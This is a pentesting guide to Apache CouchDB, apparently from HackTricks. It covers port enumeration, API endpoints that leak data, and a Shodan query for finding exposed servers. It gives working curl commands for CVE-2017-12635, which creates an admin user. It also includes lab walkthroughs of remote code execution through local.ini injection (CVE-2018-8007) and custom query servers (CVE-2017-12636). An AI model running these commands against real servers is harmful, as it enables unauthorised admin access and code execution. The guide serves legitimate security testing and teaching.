5984,6984 - Pentesting CouchDB
Basic Information
CouchDB is a document-oriented database that stores JSON documents whose fields can contain scalar values, lists, or nested objects. Each document has a unique _id, and each saved revision has a _rev value used for revision tracking and replication.[6]
Default ports: 5984 (HTTP), 6984 (HTTPS)
PORT STATE SERVICE REASON
5984/tcp open unknown syn-ack
Automatic Enumeration
The following Nmap and Metasploit modules provide a quick first pass.[1]
nmap -sV --script couchdb-databases,couchdb-stats -p <PORT> <IP>
msf> use auxiliary/scanner/couchdb/couchdb_enum
Manual Enumeration
Banner
curl http://IP:5984/
This sends a GET request to the CouchDB instance. The reply should resemble one of the following:
{"couchdb":"Welcome","version":"0.10.1"}
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}
[!TIP] If requesting the CouchDB root returns
401 Unauthorizedwith a response such as{"error":"unauthorized","reason":"Authentication required."}, you will need valid credentials before accessing the banner or other protected endpoints.
Info Enumeration
These endpoints accept GET requests and expose useful information. The official CouchDB API reference documents the complete endpoint set and response formats.[6]
/_active_tasksList of running tasks, including the task type, name, status and process ID./_all_dbsReturns a list of all the databases in the CouchDB instance./_cluster_setupReturns the status of the node or cluster, per the cluster setup wizard./_db_updatesReturns a list of all database events in the CouchDB instance. The existence of the_global_changesdatabase is required to use this endpoint./_membershipDisplays the nodes that are part of the cluster ascluster_nodes. The fieldall_nodesdisplays all nodes this node knows about, including the ones that are part of the cluster./_scheduler/jobsList of replication jobs. Each job description will include source and target information, replication id, a history of recent event, and a few other things./_scheduler/docsList of replication document states. Includes information about all the documents, even incompletedandfailedstates. For each document it returns the document ID, the database, the replication ID, source and target, and other information./_scheduler/docs/{replicator_db}/_scheduler/docs/{replicator_db}/{docid}/_node/{node-name}The/_node/{node-name}endpoint can be used to confirm the Erlang node name of the server that processes the request. This is most useful when accessing/_node/_localto retrieve this information./_node/{node-name}/_statsThe_statsresource returns a JSON object containing the statistics for the running server. The literal string_localserves as an alias for the local node name, so for all stats URLs,{node-name}may be replaced with_local, to interact with the local node’s statistics./_node/{node-name}/_systemReturns a JSON object containing system-level statistics for the running server. Use_localas{node-name}to query the current node./_node/{node-name}/_restart/_upConfirms that the server is up, running, and ready to respond to requests. Ifmaintenance_modeistrueornolb, the endpoint will return a 404 response./_uuidsRequests one or more Universally Unique Identifiers (UUIDs) from the CouchDB instance./_reshardReturns counts of completed, failed, running, stopped, and total jobs, together with the cluster resharding state.
More interesting information can be extracted as explained here: https://lzone.de/cheat-sheet/CouchDB[2]
Database List
curl -X GET http://IP:5984/_all_dbs
If that request responds with a 401 unauthorised, then you need some valid credentials to access the database:
curl -X GET http://user:password@IP:5984/_all_dbs
In order to find valid Credentials you could try to bruteforce the service.
This is an example of a couchdb response when you have enough privileges to list databases (It’s just a list of dbs):
["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]
Database Info
You can obtain some database info (like number of files and sizes) accessing the database name:
curl http://IP:5984/<database>
curl http://localhost:5984/simpsons
#Example response:
{"db_name":"simpsons","update_seq":"7-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkQmPoiQFIJlkD1bHjE-dA0hdPFgdAz51CSB19WB1jHjU5bEASYYGIAVUOp8YtQsgavfjtx-i9gBE7X1i1D6AqAX5KwsA2vVvNQ","sizes":{"file":62767,"external":1320,"active":2466},"purge_seq":0,"other":{"data_size":1320},"doc_del_count":0,"doc_count":7,"disk_size":62767,"disk_format_version":6,"data_size":2466,"compact_running":false,"instance_start_time":"0"}
Document List
List each entry inside a database
curl -X GET http://IP:5984/{dbname}/_all_docs
curl http://localhost:5984/simpsons/_all_docs
#Example response:
{"total_rows":7,"offset":0,"rows":[
{"id":"f0042ac3dc4951b51f056467a1000dd9","key":"f0042ac3dc4951b51f056467a1000dd9","value":{"rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329"}},
{"id":"f53679a526a868d44172c83a61000d86","key":"f53679a526a868d44172c83a61000d86","value":{"rev":"1-7b8ec9e1c3e29b2a826e3d14ea122f6e"}},
{"id":"f53679a526a868d44172c83a6100183d","key":"f53679a526a868d44172c83a6100183d","value":{"rev":"1-e522ebc6aca87013a89dd4b37b762bd3"}},
{"id":"f53679a526a868d44172c83a61002980","key":"f53679a526a868d44172c83a61002980","value":{"rev":"1-3bec18e3b8b2c41797ea9d61a01c7cdc"}},
{"id":"f53679a526a868d44172c83a61003068","key":"f53679a526a868d44172c83a61003068","value":{"rev":"1-3d2f7da6bd52442e4598f25cc2e84540"}},
{"id":"f53679a526a868d44172c83a61003a2a","key":"f53679a526a868d44172c83a61003a2a","value":{"rev":"1-4446bfc0826ed3d81c9115e450844fb4"}},
{"id":"f53679a526a868d44172c83a6100451b","key":"f53679a526a868d44172c83a6100451b","value":{"rev":"1-3f6141f3aba11da1d65ff0c13fe6fd39"}}
]}
Read Document
Read the content of a document inside a database:
curl -X GET http://IP:5984/{dbname}/{id}
curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
#Example response:
{"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"}
CouchDB Privilege Escalation (CVE-2017-12635) [11]
In affected CouchDB versions, differences between the Erlang and JavaScript JSON parsers allow a request with duplicate roles keys to create an administrative user, here with credentials hacktricks:hacktricks.[3]
curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"
CouchDB RCE
Erlang Cookie Security Overview [4]
In cluster mode, CouchDB uses port 5984 for its clustered HTTP API and 5986 for node-local APIs. Erlang distribution also uses TCP port 4369 for the Erlang Port Mapper Daemon (EPMD), and cluster nodes must be able to communicate with one another.[7]
A crucial security advisory is highlighted regarding port 4369. If this port is made accessible over the Internet or any untrusted network, the system’s security heavily relies on a unique identifier known as the “cookie.” This cookie acts as a safeguard. For instance, in a given process list, the cookie named “monster” might be observed, indicating its operational role in the system’s security framework.
www-data@canape:/$ ps aux | grep couchdb
root 744 0.0 0.0 4240 640 ? Ss Sep13 0:00 runsv couchdb
root 811 0.0 0.0 4384 800 ? S Sep13 0:00 svlogd -tt /var/log/couchdb
homer 815 0.4 3.4 649348 34524 ? Sl Sep13 5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b
For those interested in understanding how this “cookie” can be exploited for Remote Code Execution (RCE) within the context of Erlang systems, a dedicated section is available for further reading. It details the methodologies for leveraging Erlang cookies in unauthorized manners to achieve control over systems. You can explore the detailed guide on abusing Erlang cookies for RCE here.
Exploiting CVE-2018-8007 through Modification of local.ini [4]
CVE-2018-8007 is a historical Apache CouchDB configuration-injection vulnerability. This demonstration requires an authenticated account permitted to alter node configuration and a deployment where the resulting local.ini change can be written. The target used for the walkthrough did not initially meet that file-permission prerequisite, so write access was deliberately granted for testing.[5]
First, the environment is prepared by ensuring the local.ini file is writable, verified by listing the permissions:
root@canape:/home/homer/etc# ls -l
-r--r--r-- 1 homer homer 18477 Jan 20 2018 default.ini
-rw-rw-rw- 1 homer homer 4841 Sep 14 17:39 local.ini
-r--r--r-- 1 root root 4841 Sep 14 14:30 local.ini.bk
-r--r--r-- 1 homer homer 1345 Jan 14 2018 vm.args
To exploit the vulnerability, a curl command is executed, targeting the cors/origins configuration in local.ini. This injects a new origin along with additional commands under the [os_daemons] section, aiming to execute arbitrary code:
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf"
Subsequent verification shows the injected configuration in local.ini, contrasting it with a backup to highlight the changes:
root@canape:/home/homer/etc# diff local.ini local.ini.bk
119,124d118
< [cors]
< origins = 0xdf
< [os_daemons]
< test_daemon = /usr/bin/touch /tmp/0xdf
Initially, the expected file (/tmp/0xdf) does not exist, indicating that the injected command has not been executed yet. Further investigation reveals that processes related to CouchDB are running, including one that could potentially execute the injected command:
root@canape:/home/homer/bin# ps aux | grep couch
By terminating the identified CouchDB process and allowing the system to automatically restart it, the execution of the injected command is triggered, confirmed by the existence of the previously missing file:
root@canape:/home/homer/etc# kill 711
root@canape:/home/homer/etc# ls /tmp/0xdf
/tmp/0xdf
This exploration confirms the viability of CVE-2018-8007 exploitation under specific conditions, notably the requirement for writable access to the local.ini file. The provided code examples and procedural steps offer a clear guide for replicating the exploit in a controlled environment.
Exploring CVE-2017-12636 with Write Permissions on local.ini [4]
A vulnerability known as CVE-2017-12636 was explored, which enables code execution via the CouchDB process, although specific configurations may prevent its exploitation. Despite numerous Proof of Concept (POC) references available online, adjustments are necessary to exploit the vulnerability on CouchDB version 2, differing from the commonly targeted version 1.x. The initial steps involve verifying the CouchDB version and confirming the absence of the expected query servers path:
curl http://localhost:5984
curl http://0xdf:df@localhost:5984/_config/query_servers/
To accommodate CouchDB version 2.0, a new path is utilized:
curl 'http://0xdf:df@localhost:5984/_membership'
curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers
Attempts to add and invoke a new query server were met with permission-related errors, as indicated by the following output:
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
Further investigation revealed permission issues with the local.ini file, which was not writable. By modifying the file permissions with root or homer access, it became possible to proceed:
cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b
chmod 666 /home/homer/etc/local.ini
Subsequent attempts to add the query server succeeded, as demonstrated by the lack of error messages in the response. The successful modification of the local.ini file was confirmed through file comparison:
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
The process continued with the creation of a database and a document, followed by an attempt to execute code via a custom view mapping to the newly added query server:
curl -X PUT 'http://0xdf:df@localhost:5984/df'
curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}'
A prior HackTricks contribution contains an alternative payload for the same CouchDB 2.x path.[8] Additional PoCs are available from Vulhub and Exploit-DB:[9][10]
- Vulhub PoC exploit code
- Exploit-DB entry 44913
Shodan
port:5984 couchdb
References
- [1] LFF-IPS-P2: Vulnerability Analysis cheat sheet (bitvijays, archived)
- [2] CouchDB Cheat Sheet (LZone)
- [3] Remote Code Execution in CouchDB (justi.cz)
- [4] HTB: Canape (0xdf)
- [5] Advisory: CVE-2018-8007 Apache CouchDB Remote Code Execution (MDSec)
- [6] Apache CouchDB API Reference
- [7] Apache CouchDB Cluster Setup
- [8] HackTricks CouchDB CVE-2017-12636 alternative payload
- [9] Vulhub CVE-2017-12636 PoC
- [10] Exploit-DB 44913: Apache CouchDB 2.1.0 Remote Code Execution
- [11] NVD: CVE-2017-12635